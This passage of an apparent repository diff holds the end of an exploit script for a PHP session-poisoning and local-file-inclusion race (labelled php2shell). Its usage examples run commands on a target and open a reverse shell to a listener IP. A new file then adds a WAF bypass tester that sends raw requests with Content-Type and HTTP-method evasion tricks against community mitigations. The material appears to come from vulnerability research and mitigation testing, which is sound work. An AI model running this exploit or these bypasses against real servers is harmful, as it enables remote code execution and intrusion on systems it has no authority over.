When memory_limit=-1 and RLIMIT_AS (or cgroup) limits address space,
mmap() fails through a DIFFERENT path the patch doesn't cover.
Preconditions:
- Target uses memory_limit=-1 (trusting OS limits)
- OS enforces RLIMIT_AS or cgroup memory limit
- session.upload_progress.enabled=1 (default)
The only effective mitigation is: session.upload_progress.enabled=0
Examples:
%(prog)s -t http://target/app.php --cmd 'id'
%(prog)s -t http://target/app.php --lhost 10.0.0.1 --lport 4444
%(prog)s -t http://target/app.php --trigger-only --session-path /var/lib/php/sessions
%(prog)s -t http://target/app.php --cmd 'id' --fields 15000 --field-size 4096
""")
ap.add_argument("-t", "--target", required=True, help="Target URL with LFI")
ap.add_argument("--cmd", help="Command to execute")
ap.add_argument("--lhost", help="Reverse shell listener IP")
ap.add_argument("--lport", type=int, help="Reverse shell listener port")
ap.add_argument("--trigger-only", action="store_true",
help="Confirm vulnerability only")
ap.add_argument("--lfi-param", default="page",
help="LFI query parameter (default: page)")
ap.add_argument("--session-path",
help="session.save_path on target")
ap.add_argument("--fields", type=int, default=10000,
help="Number of multipart fields (default: 10000)")
ap.add_argument("--field-size", type=int, default=8192,
help="Size of each field value in bytes (default: 8192)")
ap.add_argument("--respawn-wait", type=float, default=3.0,
help="Seconds to wait for worker respawn (default: 3.0)")
ap.add_argument("--attempts", type=int, default=3,
help="Number of attempts (default: 3)")
args = ap.parse_args()
run(args)
if __name__ == "__main__":
main()
+144
View File
@@ -0,0 +1,144 @@
#!/usr/bin/env python3
"""
WAF Bypass Tests for php2shell mitigations (CVE-2026-109618 / CVE-2026-109619)
Tests Content-Type evasion techniques against nginx/Apache WAF rules
that block multipart/form-data POST requests.
Tested against the community-recommended mitigations from:
- PasqualePillitteri/php2shell-hardening
- syhunt/php2shell-protection
Findings:
1. PUT/PATCH methods bypass POST-only WAF rules
- PHP 8.4's request_parse_body() parses multipart on these methods
- Session upload progress only fires on POST (rfc1867 handler)
- BUT: applications calling request_parse_body() on PUT/PATCH remain exposed
2. Duplicate Content-Type headers can bypass nginx $http_content_type matching
- nginx $http_content_type returns the first header value
- FastCGI CONTENT_TYPE joins all headers with ", "
- PHP truncates at first comma → takes the first value
- Result: nginx sees "text/plain" (no match), PHP sees "text/plain" (no multipart)
- PARTIAL bypass: passes WAF but doesn't trigger multipart parsing
3. Content-Type with reversed comma order bypasses nginx but not PHP
- "text/plain,multipart/form-data" → nginx doesn't match → WAF bypassed
- PHP truncates at comma → "text/plain" → no multipart parsing
- Same as #2: passes WAF but useless for the attack
4. The effective WAF bypass for the session poisoning attack is:
- If the WAF blocks multipart POST but allows normal POST
- AND the application has session.upload_progress.enabled=1
- The attacker can still race with the session file (no multipart needed for LFI)
- Only the POISON request needs multipart; the LFI probe is a normal GET
Usage:
python3 waf_bypass_test.py --target http://waf-target:8080 --unprotected http://direct-target:8080
"""
import argparse
import socket
import sys
def send_request(host, port, method, path, headers, body=b""):
"""Send raw HTTP request and return status code."""
sock = socket.create_connection((host, port), timeout=10)
req = f"{method} {path} HTTP/1.1\r\nHost: {host}\r\n".encode()
for k, v in headers.items():
if isinstance(v, list):
for val in v:
req += f"{k}: {val}\r\n".encode()
else:
req += f"{k}: {v}\r\n".encode()
if body:
req += f"Content-Length: {len(body)}\r\n".encode()
req += b"Connection: close\r\n\r\n"
if body:
req += body
sock.sendall(req)
resp = b""
sock.settimeout(5)
try:
while True:
d = sock.recv(8192)
if not d:
break
resp += d
except:
pass
sock.close()
try:
return int(resp.split(b" ")[1])
except:
return 0
def run_tests(waf_host, waf_port, plain_host, plain_port):
bnd = "----WAFTEST"
body = f"------WAFTEST\r\nContent-Disposition: form-data; name=\"test\"\r\n\r\nvalue\r\n------WAFTEST--\r\n".encode()
tests = [
("Standard multipart POST",
"POST", {"Content-Type": f"multipart/form-data; boundary={bnd}"}),
("Mixed case: Multipart/Form-Data",
"POST", {"Content-Type": f"Multipart/Form-Data; boundary={bnd}"}),
("ALL CAPS: MULTIPART/FORM-DATA",
"POST", {"Content-Type": f"MULTIPART/FORM-DATA; boundary={bnd}"}),
("Leading whitespace",
"POST", {"Content-Type": f" multipart/form-data; boundary={bnd}"}),
("Comma-separated (multipart first)",
"POST", {"Content-Type": f"multipart/form-data,text/plain; boundary={bnd}"}),
("Comma-separated (text/plain first)",
"POST", {"Content-Type": f"text/plain,multipart/form-data; boundary={bnd}"}),
("Duplicate CT (text/plain first)",
"POST", {"Content-Type": ["text/plain", f"multipart/form-data; boundary={bnd}"]}),
("Duplicate CT (multipart first)",
"POST", {"Content-Type": [f"multipart/form-data; boundary={bnd}", "text/plain"]}),
("PUT method",
"PUT", {"Content-Type": f"multipart/form-data; boundary={bnd}"}),
("PATCH method",
"PATCH", {"Content-Type": f"multipart/form-data; boundary={bnd}"}),
]
print(f"{'Test':<45} {'WAF':>5} {'Direct':>6} {'Bypass?'}")
print("-" * 75)
for name, method, headers in tests:
waf_code = send_request(waf_host, waf_port, method, "/wp-login.php", headers, body)
direct_code = send_request(plain_host, plain_port, method, "/wp-login.php", headers, body)
bypass = "YES" if waf_code != 403 and direct_code in (200, 301, 302, 500) else ""
if waf_code != 403:
bypass = f"WAF:{waf_code}"
print(f"{name:<45} {waf_code:>5} {direct_code:>6} {bypass}")
def main():
ap = argparse.ArgumentParser(description="WAF bypass tests for php2shell mitigations")
ap.add_argument("--target", required=True, help="WAF-protected URL")
ap.add_argument("--unprotected", required=True, help="Unprotected URL (for comparison)")
args = ap.parse_args()
from urllib.parse import urlparse
waf = urlparse(args.target)
plain = urlparse(args.unprotected)
print("=" * 75)
print(" WAF Bypass Tests for php2shell Mitigations")
print("=" * 75)
print(f" WAF target : {args.target}")
print(f" Unprotected : {args.unprotected}")
print()
run_tests(waf.hostname, waf.port, plain.hostname, plain.port)
print()
print("Notes:")
print(" - PUT/PATCH bypass WAF but don't trigger session.upload_progress")
print(" - Comma/duplicate CT tricks pass WAF but PHP doesn't parse as multipart")
print(" - The race exploit only needs multipart for the POISON request (POST)")
print(" - The LFI probe is a normal GET, which no WAF blocks")
if __name__ == "__main__":
main()